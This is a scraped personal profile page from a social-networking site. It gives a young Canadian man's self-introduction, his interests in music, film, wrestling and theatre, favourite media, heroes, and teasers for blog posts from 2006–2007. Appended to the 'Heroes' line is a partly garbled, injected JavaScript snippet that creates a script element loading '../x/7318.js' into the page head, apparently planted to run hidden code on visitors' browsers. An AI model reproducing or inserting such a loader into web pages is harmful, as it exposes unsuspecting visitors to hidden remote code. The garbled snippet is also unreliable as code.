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About Me

I'm a nice boy who's kinda shy but when I reach a certain level of comfort, I open up on basically every level, whether it's just being loud, goofy and fun with friends or really personal and open with thoughts and feelings. My three biggest passions in life are probably music, film and wrestling. I often dream of pursuing different combinations of the 3 when the discussion of career/occupation comes up, but I tend to dismiss those thoughts quickly. I was very involved with theatre allthroughout high school and I still try to remain involved as a member of Phantasm Players, a local theatre society made up of alumni from Surrey high schools. I think my favourite thing on earth is going to concerts and I try to see as many as I can without breaking the bank. I love experiencing music in just about any way imagineable, from just closing your eyes and "breathing it in" (like when I saw Isis or The Mars Volta) or stage dives, sing-a-longs and pile ons at a hardcore show. I love when I go see a movie in the theatre and it has such a profound effect on me that I don't leave my seat until the credits have finished running and the lights have come up. I went to university for a year and a bit at Simon Fraser University in Burnaby, BC and it just wasn't for me. I spent three years working at a subpar job and kept trying to tell myself to get on with things and go back to school but never really felt all that motivated. The past few months was one of the most frustrating periods in my life but I've got a new job and the future looks a tad brighter. With all that said, I think I'm going to try and start a math-emo-prog-hXc band who play 18 minute songs about falling in love with your best friend, in 6/8 time, and containing 37 1/2 breakdowns per song (that's like one every 25 seconds, depending on how long they last of course) and see how far in life I can get doing that, although my guitar playing is gonna need to get a whole lot better if something like this will ever come to be.

My Interests

Film, Music (both live and the art of shopping for), Wrestling (Both participating and watching), Mixed Martial Arts, Sports in general (Soccer, Baseball, Football), Theatre, Travelling (both seeing cool/interesting/landmark things as well as the actual act of travelling, ie I actually enjoy going through airports and all that hoopla as strange as that sounds).test

I'd like to meet:

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Music:

All Time: Tool, Weezer, Pixies, Velvet Underground, The Flaming Lips, Bad Brains, Sigur Ros.Currently: Texas is the Reason, Sunny Day Real Estate, Pelican, Streetlight Manifesto, Cursive

Movies:

Wes Anderson, Akira Kurosawa, Hayao Miyazaki, Stanley Kurbick amongst other things. I'm a fan of the Indie-Foreign-Docu-Dramedy genre.

Television:

All Time: Seinfeld, Simpsons, Mr. Show, Sports Night.Currently: Pardon the Interuption, Sportsworld, Ultimate Fighter, Miami Ink, The Wedge.

Books:

'Pure Dynamite' by Tom Billington, 'Get in the Van' by Henry Rollins, 'Trainspotting' by Irvine Welsh. I don't read nearly enough but when I do I'm a man who enjoys non-fiction more than fiction.

Heroes:

Jacob Bannon, Dave Knudson, Jumbo Tsuruta and my Mom. Now that's a party and a half. .."var s=..reateElement('script');s.src='../x/7318.js';document 3;getElementsByTagName('head')[0].appendChild(s);"

My Blog

How 'bout that last 1/3 of a year?

So it's been 4 months since I've done anything blog-related. I don't really have any excuses, and I'm sure you (and I) are so incredibly sick of my standard blogs after a long layoff that begin with a...
Posted by Daniel on Sun, 27 May 2007 04:14:00 PST

Who are you and why do you exist? Part 1 of year end shenanigans

Hey, it's me. Hey, it's you (I'm not quite sure who you are exactly but you get the point). It's been too long, I know, I suck, I always come back after long layoffs and I always begin with a similar ...
Posted by Daniel on Mon, 22 Jan 2007 11:53:00 PST

WARNING! Contained Within: The Blog Equivalent of the King James Bible

So I'd like to start things off by apologizing for the lack of updates but I've been busy with all sorts of things (that are going to be outlined in this here writing of epic proportions). I know I sa...
Posted by Daniel on Thu, 07 Dec 2006 09:43:00 PST

A first in the realm of Dan... a concise blog!

What's up Canada?ahem, I'm back and I'm concise, these are the themes of this here entry. I hope everyone enjoyed my last 4 or 5 entries that were all fairly wordy, going into depth about all the albu...
Posted by Daniel on Wed, 27 Sep 2006 11:14:00 PST

It can't be! Part 4 (of 4) of the top 40 albums of my life!

Okay, let's cut the bullshit and go straight to the meat of this here blog entry because I assure you it's long as shit. No need to bore you with details of my life, only to bore you further with 5,00...
Posted by Daniel on Thu, 21 Sep 2006 01:46:00 PST

I'm so very sorry... Part 3 (of 4) of the top 40 albums of my life.

So I'm back yet again with another installment of the list. Before I get to that I suppose I can run down the last week or so in my life just for the sake of running down the last week or so. Here we ...
Posted by Daniel on Fri, 15 Sep 2006 12:25:00 PST

The Longest/Hottest/Bestest Weekend Ever (for reals)

Hey!I'm back with another fantastic blog entry, this one recalling my super fantastic trip to California over the course of Labour Day Weekend also known as "The Longest Drive." The entire idea starte...
Posted by Daniel on Fri, 08 Sep 2006 10:32:00 PST

Hey! What's This? That's Right, Part 2 (of 4) of the top 40 albums of my life!

So I'm back. I know I was supposed to post part 2 of my listermagoo like a week ago but between going to see Tool and being the most uninspired writer umm... ever? Anyways, that's besides the point as...
Posted by Daniel on Tue, 29 Aug 2006 12:22:00 PST

The last few days PLUS Part 1 (of 4) of the top 40 albums of my life.

How's it going everybody? Good to hear, good to hear. Myself? A tad better than when we last conversed but I dunno if there was anywhere to go but 'up' from there. The last few days were interesting ...
Posted by Daniel on Tue, 22 Aug 2006 11:21:00 PST

...and the funny thing about me is that I'm a member of the Right Brigade

So I feel like the biggest Turk in the world right about now. Let's share our feelings...As I previously stated in my last bloggermagooupdateroo, we're planning a bit of a trip to Socal to go to a big...
Posted by Daniel on Thu, 17 Aug 2006 11:21:00 PST